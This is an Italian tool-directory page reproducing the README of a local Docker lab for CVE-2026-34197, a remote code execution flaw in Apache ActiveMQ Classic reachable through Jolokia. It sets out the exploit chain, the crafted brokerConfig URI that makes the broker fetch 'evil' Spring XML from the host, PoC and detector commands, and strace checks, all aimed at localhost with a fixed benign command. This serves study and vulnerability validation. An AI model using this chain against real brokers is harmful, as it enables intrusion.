Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-34197-Lab — # Docker lab che dimostra CVE-2026-34197, una RCE di Apache ActiveMQ Classic tramite Jolokia. Include un rilevatore sicuro e una PoC solo locale con comando fisso, confrontando le versioni vulnerabile e corretta. | Kitploit
Strumenti/GitHubGitHub/rootdirective-sec/cve-2026-34197-lab
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubrootdirective-sec/cve-2026-34197-lab

CVE-2026-34197-Lab

# Docker lab che dimostra CVE-2026-34197, una RCE di Apache ActiveMQ Classic tramite Jolokia. Include un rilevatore sicuro e una PoC solo locale con comando fisso, confrontando le versioni vulnerabile e corretta.

Vedi Repository
3 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-34197 — Lab Apache ActiveMQ Classic Jolokia RCE

Panoramica

Questo repository è un lab Docker locale per studiare CVE-2026-34197, un problema di esecuzione remota di codice in Apache ActiveMQ Classic raggiungibile tramite l'API Jolokia JMX-HTTP.

Il lab confronta due istanze di ActiveMQ Classic affiancate:

ServizioVersioneScopoURL
vuln5.19.3Target vulnerabilehttp://127.0.0.1:8081
patched5.19.4Target di confronto correttohttp://127.0.0.1:8082

Il repository contiene due script di prova:

ScriptScopoModello di sicurezza
poc/detect.pyRilevatore autorizzatoSolo HTTP; non sfrutta
poc/poc.pyProva del percorso RCE solo localeComando fisso: id; whoami; sleep 5

L'evidenza dell'esecuzione viene verificata separatamente dall'operatore utilizzando strumenti di osservazione dei processi come strace.


Riepilogo della vulnerabilità

CVE-2026-34197 colpisce le versioni di Apache ActiveMQ Classic in cui un utente autenticato può utilizzare l'API Jolokia per invocare operazioni di gestione del broker e causare il caricamento da parte della JVM del broker di Spring XML controllato dall'attaccante tramite un URI brokerConfig=xbean:http://... appositamente costruito.

Il flusso vulnerabile dimostrato in questo lab è:

root@kitploit:~
Jolokia /api/jolokia/
  -> Operazione MBean del broker
  -> addNetworkConnector(java.lang.String)
  -> static:(vm://...?brokerConfig=xbean:http://...)
  -> recupero remoto di Spring XML
  -> inizializzazione del bean ProcessBuilder
  -> comando di prova locale fisso

Il servizio corretto blocca questo percorso prima del recupero dell'XML e restituisce un errore simile a:

root@kitploit:~
VM scheme is not allowed

Struttura del repository

root@kitploit:~
.
├── docker-compose.yml
├── vuln
│   └── Dockerfile
├── patched
│   └── Dockerfile
├── poc
│   ├── detect.py
│   └── poc.py
├── images
│   └── strace.png
├── README.md
└── .gitignore

Ruoli dei file

  • docker-compose.yml esegue i servizi ActiveMQ vulnerabile e corretto.
  • vuln/Dockerfile compila Apache ActiveMQ Classic 5.19.3.
  • patched/Dockerfile compila Apache ActiveMQ Classic 5.19.4.
  • poc/detect.py verifica l'esposizione di Jolokia, la versione di ActiveMQ e la visibilità del Broker MBean.
  • poc/poc.py attiva il percorso RCE solo locale utilizzando un comando benigno fisso.
  • images/strace.png contiene l'evidenza locale di osservazione dei processi dal servizio vulnerabile.
  • .gitignore esclude artefatti locali, file cache Python, ambienti virtuali, log e segreti.

Limiti di sicurezza

Questo repository è destinato esclusivamente all'uso in lab locale e alla validazione di sicurezza autorizzata.

Il PoC è deliberatamente limitato:

  • Rifiuta target non locali.
  • Non accetta comandi arbitrari.
  • Utilizza solo il comando fisso: id; whoami; sleep 5.
  • Non raccoglie l'output dei comandi tramite callback.
  • Si affida a un'osservazione separata controllata dall'operatore come strace.

Target locali consentiti per poc.py:

root@kitploit:~
127.0.0.1
localhost
::1

Non utilizzare questo repository contro sistemi che non possiedi o per i quali non hai esplicita autorizzazione al test.


Configurazione del lab

Compilazione e avvio del lab

root@kitploit:~
docker compose down -v
docker compose build
docker compose up -d

Verifica lo stato dei servizi:

root@kitploit:~
docker compose ps

Servizi attesi:

root@kitploit:~
cve-2026-34197-vuln      Up / healthy
cve-2026-34197-patched   Up / healthy

Verifica degli endpoint delle versioni Jolokia

Controlla il servizio vulnerabile:

root@kitploit:~
curl -sS \
  -u admin:admin \
  -H 'Origin: http://127.0.0.1:8081' \
  http://127.0.0.1:8081/api/jolokia/version | python3 -m json.tool

Controlla il servizio corretto:

root@kitploit:~
curl -sS \
  -u admin:admin \
  -H 'Origin: http://127.0.0.1:8082' \
  http://127.0.0.1:8082/api/jolokia/version | python3 -m json.tool

Versioni attese:

root@kitploit:~
8081 -> ActiveMQ 5.19.3
8082 -> ActiveMQ 5.19.4

Utilizzo del rilevatore

poc/detect.py è lo script predefinito sicuro. Non sfrutta il target.

Verifica:

  1. se /api/jolokia/version è accessibile;
  2. se è richiesta l'autenticazione;
  3. se il prodotto è Apache ActiveMQ;
  4. la versione di ActiveMQ;
  5. se il Broker MBean è visibile tramite la ricerca Jolokia;
  6. se la versione rientra in un intervallo interessato.

Esegui il rilevatore contro entrambi i servizi del lab

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install requests

python poc/detect.py \
  -t http://127.0.0.1:8081 \
  -t http://127.0.0.1:8082 \
  -u admin \
  -p admin \
  -v

Risultato atteso:

root@kitploit:~
http://127.0.0.1:8081
Assessment: LIKELY_VULNERABLE
Risk: HIGH
ActiveMQ version: 5.19.3
Broker MBean: VISIBLE

http://127.0.0.1:8082
Assessment: NOT_AFFECTED_BY_VERSION
Risk: LOW
ActiveMQ version: 5.19.4
Broker MBean: VISIBLE

Cosa conta come vulnerabile nel rilevatore?

Il rilevatore segna un target come LIKELY_VULNERABLE quando:

root@kitploit:~
Jolokia è accessibile
+
La versione di ActiveMQ rientra in un intervallo interessato

Intervalli interessati utilizzati da questo lab:

root@kitploit:~
5.x < 5.19.4
6.x < 6.2.3

La visibilità del Broker MBean viene utilizzata come evidenza di confidenza perché il percorso di sfruttamento si basa sulle operazioni di gestione del broker.

Il rilevatore non dichiara CONFIRMED_RCE.


PoC del percorso RCE solo locale

poc/poc.py dimostra il percorso RCE nel lab Docker locale.

Avvia un server HTTP temporaneo sull'host e serve un payload Spring XML in un percorso univoco per ogni esecuzione:

root@kitploit:~
/evil-<nonce>.xml

Successivamente invoca il Broker MBean di ActiveMQ tramite Jolokia:

root@kitploit:~
addNetworkConnector(java.lang.String)

con un URI di discovery appositamente costruito:

root@kitploit:~
static:(vm://cve34197<nonce>?brokerConfig=xbean:http://host.docker.internal:9100/evil-<nonce>.xml)

Il broker vulnerabile recupera questo XML. Il broker corretto blocca lo schema di trasporto vm:// prima del recupero dell'XML.

Comportamento importante

Dopo un'esecuzione vulnerabile, il NetworkConnector creato potrebbe ritentare il recupero del vecchio percorso XML. Lo script utilizza un nonce per esecuzione e tiene traccia di matches_current_run per evitare falsi positivi.

Un hit viene conteggiato come esecuzione corrente solo se corrisponde a:

root@kitploit:~
/evil-<current-nonce>.xml

Esegui il PoC contro il servizio vulnerabile

root@kitploit:~
python poc/poc.py \
  --target http://127.0.0.1:8081 \
  -u admin \
  -p admin

Output atteso:

root@kitploit:~
[+] Broker fetched the Spring XML payload for this run.
Matched path: /evil-<nonce>.xml
matches_current_run: true

Questo conferma che ActiveMQ 5.19.3 può essere indotto a recuperare Spring XML controllato dall'attaccante tramite il percorso del broker gestito da Jolokia.


Esegui il PoC contro il servizio corretto

root@kitploit:~
python poc/poc.py \
  --target http://127.0.0.1:8082 \
  -u admin \
  -p admin

Output atteso:

root@kitploit:~
VM scheme is not allowed
[-] No XML fetch observed for this run.

Se compaiono hit da una precedente esecuzione vulnerabile, dovrebbero mostrare:

root@kitploit:~
"matches_current_run": false

Questi non vengono conteggiati come successo del servizio corretto.


Conferma dell'esecuzione dei comandi con strace

Lo script PoC non raccoglie l'output dei comandi. Per confermare l'esecuzione dei comandi, osserva la creazione dei processi all'interno del container vulnerabile.

Entra nel container vulnerabile come root:

root@kitploit:~
docker exec -it --user root cve-2026-34197-vuln bash

Trova il processo Java:

root@kitploit:~
pgrep -af java

Collega strace al PID Java:

root@kitploit:~
strace -f -e execve -p <JAVA_PID>

In un altro terminale, esegui il PoC contro il servizio vulnerabile:

root@kitploit:~
python poc/poc.py \
  --target http://127.0.0.1:8081 \
  -u admin \
  -p admin

Evidenza strace attesa:

root@kitploit:~
execve("/bin/sh", ["/bin/sh", "-c", "id; whoami; sleep 5"], ...)
execve("/usr/bin/id", ["id"], ...)
execve("/usr/bin/whoami", ["whoami"], ...)
execve("/usr/bin/sleep", ["sleep", "5"], ...)

Questa è l'evidenza a livello di sistema operativo che il comando di prova fisso è stato eseguito dalla JVM del broker.

evidenza esecuzione comando strace


Pulizia tra le esecuzioni

Il PoC tenta di rimuovere il nome predefinito del NetworkConnector NC prima dell'attivazione. Questo mantiene prevedibili le esecuzioni ripetute del lab.

Pulizia manuale:

root@kitploit:~
curl -sS \
  -u admin:admin \
  -H 'Origin: http://127.0.0.1:8081' \
  -H 'Content-Type: application/json' \
  -X POST \
  http://127.0.0.1:8081/api/jolokia/ \
  -d '{
    "type": "exec",
    "mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
    "operation": "removeNetworkConnector(java.lang.String)",
    "arguments": ["NC"]
  }' | python3 -m json.tool

Oppure riavvia il lab:

root@kitploit:~
docker compose restart vuln patched

Risultati attesi del lab

TestVulnerabile 5.19.3Corretto 5.19.4
detect.pyLIKELY_VULNERABLENOT_AFFECTED_BY_VERSION
Accesso JolokiaAccessibile con authAccessibile con auth
Broker MBeanVisibileVisibile
Recupero XML poc.pySìNo
Firma del blocco correttoN/DVM scheme is not allowed
Evidenza comando strace/bin/sh -c 'id; whoami; sleep 5'Non attesa

Riferimenti

  • Avviso di sicurezza Apache ActiveMQ — CVE-2026-34197: https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt
  • NVD — CVE-2026-34197: https://nvd.nist.gov/vuln/detail/CVE-2026-34197
  • CVE.org — record CVE-2026-34197: https://www.cve.org/CVERecord?id=CVE-2026-34197
  • Database advisory GitHub — GHSA-rxpj-7qvf-xv32: https://github.com/advisories/GHSA-rxpj-7qvf-xv32
  • Horizon3.ai — CVE-2026-34197 ActiveMQ RCE tramite API Jolokia: https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/
  • Documentazione Apache ActiveMQ Classic — Reti di broker: https://activemq.apache.org/components/classic/documentation/networks-of-brokers
  • Documentazione API Apache ActiveMQ Classic JMX BrokerView: https://activemq.apache.org/components/classic/documentation/maven/apidocs/org/apache/activemq/broker/jmx/BrokerView.html
Scarica lo strumento